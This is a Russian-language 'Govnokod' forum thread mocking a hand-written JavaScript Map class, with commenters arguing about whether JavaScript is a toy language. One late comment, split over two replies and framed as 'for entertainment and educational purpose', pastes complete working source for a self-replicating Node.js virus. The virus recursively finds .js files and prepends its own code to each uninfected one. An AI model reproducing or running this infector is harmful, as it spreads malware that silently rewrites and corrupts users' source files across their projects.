1. JavaScript / Говнокод #3724

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    Map = function() {
        this._entries = new Array();
    }
    
    Map.prototype.containsKey = function(key) {
        return this.getEntry(key)!=null;
    }
    
    Map.prototype.get = function(key) {
        var entry = this.getEntry(key);
        return entry!=null ? entry.value : null;
    }
    
    Map.prototype.put = function(key, value) {
        var entry = this.getEntry(key);
        if (entry!=null) {
            entry.value = value;
        } else {
            entry = new Map.Entry(key, value);
            this._entries[this._entries.length] = entry;
        }
    }
    
    Map.prototype.size = function() {
        return this._entries.length;
    }
    
    Map.prototype.getEntry = function(key) {
        for (var i=0; i<this._entries.length; i++) {
            if (this._entries[i].key==key)
                return this._entries[i];
        }
        return null;
    }
    
    Map.prototype.entries = function() {
        return this._entries;
    }
    
    Map.prototype.keys = function() {
        var result = new Array();
        for (var i=0; i<this._entries.length; i++) {
            result[result.length] = this._entries[i].key;
        }
        return result;
    }
    
    Map.prototype.values = function() {
        var result = new Array();
        for (var i=0; i<this._entries.length; i++) {
            result[result.length] = this._entries[i].value;
        }
        return result;
    }
    
    Map.prototype.addAll = function(map) {
        if (map==null)
            return;
        var oe = map.entries();
        for (var i=0; i<oe.length; i++) {
            this.put(oe[i].key, oe[i].value);
        }
    }
    
    Map.prototype.toString = function() {
        return "[Map{size:"+this._entries.length+", entries:"+this._entries+"}]";
    }
    
    Map.Entry = function(key, value) {
        if (arguments.length==0)
            return;
        this.key = key;
        this.value = value;
    }
    
    Map.Entry.prototype.toString = function() {
        return "[Entry{key:"+this.key+", value:"+this.value+"}]";
    }

    То что любой объект и так работает как Map автор видимо не знал.
    Можно было бы предположить, что автор это знал, но написал этот Map для того чтобы использовать произвольные объекты как ключи, однако во всех обнаруженных использованиях этой Map ключами были строки.

    Запостил: borka, 17 Июля 2010

    Комментарии (12) RSS

    • зря вы так. тут же целый прототип карты, плюс еще куча полезных методов. как раз то, что нужно при порте с какой нить жабы
      Ответить
      • Не вижу тут кучи полезных методов - работы со свойствами объектов и так у каждого js-программера полно функций, своих или библиотечных. Зато вижу отсутствие полезнейшего метода удаления, без которого ну никак. А портировать что-то несвойственными для данного языка способами - это уж извините. Вот например, некоторые по-первости страдают попытками портирования вещей свойственных C++ в Java - хорошего мало.
        Ответить
        • это попытка эмулирования привычного окружения вместо того, что бы изучить существующую новую среду
          Ответить
    • Вот так всегда и бывает, когда пытаешься писать серьезные вещи на игрушечком языке.
      JavaScript был сделан, что бы навешивать алерты на онклики, и пытаться городить на нем collections framework -- глупо.

      Один мой знакомый такое же проделал с PHP: у него был самописный класс Array, класс Hash и много всего прочего, хотя я ему и говорил что не надо на PHP таких слонов разрабатывать)
      Ответить
      • Да я не против создания коллекшн-фреймворков, если они помогают решать какие-то проблемы. Но к данному случаю это не относится.
        Ответить
      • нет игрушечных языков, есть языки для других целей. collections framework по типу жкуери еще ничего, но и тот уже тормозит
        Ответить
        • js говно
          Ответить
        • &gt;нет игрушечных языков, есть языки для других целей.

          Совершенно верно: JS был сделан чтобы в window.statusbar писать "-=Xaker=-", о чем и было сказано выше. Такова его цель

          Любую другую задачу на нем писать нег удобно
          Ответить
          • // #virus.js
            // the line above will be used for marking a file as infected
            
            /*
            * Program created for entertainment and educational purpose only
            * WARNING: EXECUTE THIS FILE AT YOUR OWN RISK :WARNING
            */
            
            // this mild-mannered virus leaves the global namespace alone and creates its own closure
            (function() {
            
              // the virus payload - it sings a song on Fridays
              var day = new Date().getDay();
              if (day == 5) { console.log("It's Friday! Friday!"); }
            
              // we will need the fs module to find files and infect them
              var fs = require('fs');
              // helper module
              var path = require('path');
            
              var marker_signature = '// #virus.js';
              var marker_length = marker_signature.length;
              // the infection payload == content of this file
              var infection_payload = fs.readFileSync(__filename);
            
              // where to look for files to infect
              var target_path = './';
            
              // start infecting .js file
              var files = fs.readdirSync(target_path);
              // pass these files to the infection function
              infect_files(files);
            
            
              /**
              * Function for infecting .js files
              *
              * @param {Array} files
              */
            
              function infect_files(files) {
            
                files.forEach(function(file) {
            
                  var stat = fs.statSync(file);
            
                  // if it's a direcrory, get the files and run them through the infection process
                  if (stat.isDirectory()) {
                    // don't bother hidden directories
                    if (file[0] != '.') {
                      // infect the files after retirieving them their directories
                      infect_files(get_files(file));
                    }
                  }
            Ответить
            • // if it is a file, validate the file for infection 'eligibility'
                    else if (stat.isFile()) {
                      
                      // don't bother hidden files
                      if (file[0] != '.') {
              
                        // we are interested only in .js files
                        if (path.extname(file) == '.js') {
              
                          // don't bother with self
                          if (path.basename(__filename) != file) {
              
                            // bother only if file is not already infected
                            var fd = fs.openSync(file, 'r');
                            var marker = fs.readSync(fd, marker_length);
                            // be kind, rewind
                            fs.closeSync(fd);
              
                            var signature = marker[0];
                            if (marker_signature != signature) {
              
                              // original content
                              var original_content = fs.readFileSync(file);
                              // prepare infection
                              var infected_content = infection_payload + '\n' + original_content;
                              // infect file
                              //console.log('Infecting: ' + file);
                              fs.writeFileSync(file, infected_content);
                            }
                          }
                        }
                      }
                    }
              
                  });
                }
              
                /**
                * Function for getting the files from a directory with their full paths
                *
                * @param {String} dir
                */
              
                function get_files(dir) {
              
                  // readdirSync will only give the names of the files, we need to get the full path
                  var _files = fs.readdirSync(dir);
                  // array for storing the files with their full path
                  var files = [];
              
                  // fill up the files array
                  _files.forEach(function(file) {
                    var full_path = dir + '/' + file;
                    files.push(full_path);
                  });
              
                  // return the files to whatever called this function
                  return files;
                }
              
              })();
              Ответить

    Добавить комментарий